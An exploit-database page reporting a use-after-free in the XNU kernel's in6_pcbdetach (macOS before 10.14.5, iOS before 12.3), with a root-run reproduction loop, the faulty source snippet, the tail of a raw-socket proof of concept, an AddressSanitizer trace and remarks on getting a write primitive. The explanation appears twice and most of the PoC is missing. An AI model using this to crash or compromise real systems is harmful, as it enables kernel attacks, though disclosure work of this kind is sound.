Apple macos < 10.14.5 / ios < 12.3 xnu in6_pcbdetach stale pointer useafterfree Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-05-21 |
Type : dos |
Platform : multiple
[+] Code ...
# Reproduction
Repros on 10.14.3 when run as root. It may need multiple tries to trigger.
$ clang -o in6_selectsrc in6_selectsrc.cc
$ while 1; do sudo ./in6_selectsrc; done
res0: 3
res1: 0
res1.5: -1 // failure expected here
res2: 0
done
...
[crash]
# Explanation
The following snippet is taken from in6_pcbdetach:
```
void
in6_pcbdetach(struct inpcb *inp)
{
// ...
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;
inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL; // <- good
}
ip6_freepcbopts(inp->in6p_outputopts); // <- bad
ROUTE_RELEASE(&inp->in6p_route);
// free IPv4 related resources in case of mapped addr
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options); // <- good
inp->inp_options = NULL;
}
```
Notice that freed options must also be cleared so they are not accidentally reused.
This can happen when a socket is disconnected and reconnected without being destroyed.
In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be
used after they are freed.
This specific PoC requires root because I use raw sockets, but it's possible other socket
types suffer from this same vulnerability.
/*
# Reproduction
Repros on 10.14.3 when run as root. It may need multiple tries to trigger.
$ clang -o in6_selectsrc in6_selectsrc.cc
$ while 1; do sudo ./in6_selectsrc; done
res0: 3
res1: 0
res1.5: -1 // failure expected here
res2: 0
done
...
[crash]
# Explanation
The following snippet is taken from in6_pcbdetach:
```
void
in6_pcbdetach(struct inpcb *inp)
{
// ...
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;
inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL; // <- good
}
ip6_freepcbopts(inp->in6p_outputopts); // <- bad
ROUTE_RELEASE(&inp->in6p_route);
// free IPv4 related resources in case of mapped addr
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options); // <- good
inp->inp_options = NULL;
}
```
Notice that freed options must also be cleared so they are not accidentally reused.
This can happen when a socket is disconnected and reconnected without being destroyed.
In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be
used after they are freed.
This specific PoC requires root because I use raw sockets, but it's possible other socket
types suffer from this same vulnerability.
res = connect(s, (const sockaddr*)&sa2, sizeof(sa2));
printf("res2: %d\n", res);
close(s);
printf("done\n");
}
ClusterFuzz found the following crash, which indicates that TCP sockets may be affected as well.
==16571==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000c50 at pc 0x7f15a39744c0 bp 0x7ffd72521250 sp 0x7ffd72521248
READ of size 8 at 0x610000000c50 thread T0
SCARINESS: 51 (8-byte-read-heap-use-after-free)
#0 0x7f15a39744bf in ip6_getpcbopt /src/bsd/netinet6/ip6_output.c:3140:25
#1 0x7f15a3970cb2 in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2924:13
#2 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12
#3 0x7f15a344680c in sogetoptlock /src/bsd/kern/uipc_socket.c:5512:12
#4 0x7f15a346ea86 in getsockopt /src/bsd/kern/uipc_syscalls.c:2517:10
0x610000000c50 is located 16 bytes inside of 192-byte region [0x610000000c40,0x610000000d00)
freed by thread T0 here:
#0 0x497a3d in free _asan_rtl_:3
#1 0x7f15a392329d in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3
#2 0x7f15a38733c7 in tcp_close /src/bsd/netinet/tcp_subr.c:1591:3
#3 0x7f15a3898159 in tcp_usr_disconnect /src/bsd/netinet/tcp_usrreq.c:743:7
#4 0x7f15a34323df in sodisconnectxlocked /src/bsd/kern/uipc_socket.c:1821:10
#5 0x7f15a34324c5 in sodisconnectx /src/bsd/kern/uipc_socket.c:1839:10
#6 0x7f15a34643e8 in disconnectx_nocancel /src/bsd/kern/uipc_syscalls.c:1136:10
previously allocated by thread T0 here:
#0 0x497cbd in __interceptor_malloc _asan_rtl_:3
#1 0x7f15a3a28f28 in __MALLOC /src/fuzzing/zalloc.c:63:10
#2 0x7f15a3973cf5 in ip6_pcbopt /src/bsd/netinet6/ip6_output.c:3116:9
#3 0x7f15a397193b in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2637:13
#4 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12
#5 0x7f15a3440614 in sosetoptlock /src/bsd/kern/uipc_socket.c:4808:12
#6 0x7f15a346e45c in setsockopt /src/bsd/kern/uipc_syscalls.c:2461:10
It seems that this TCP testcase I've posted works nicely for UaF reads, but getting a write isn't straightforward because calling disconnectx explicitly makes subsequent setsockopt and connect/bind/accept/etc. calls fail because the socket is marked as disconnected.
But there is still hope. PR_CONNREQUIRED is marked for TCP6, which means we may be able to connect twice (forcing a disconnect during the second connection) using the same TCP6 socket and have a similar situation to the original crash.
Apple macos < 10.14.5 / ios < 12.3 xnu in6_pcbdetach stale pointer useafterfree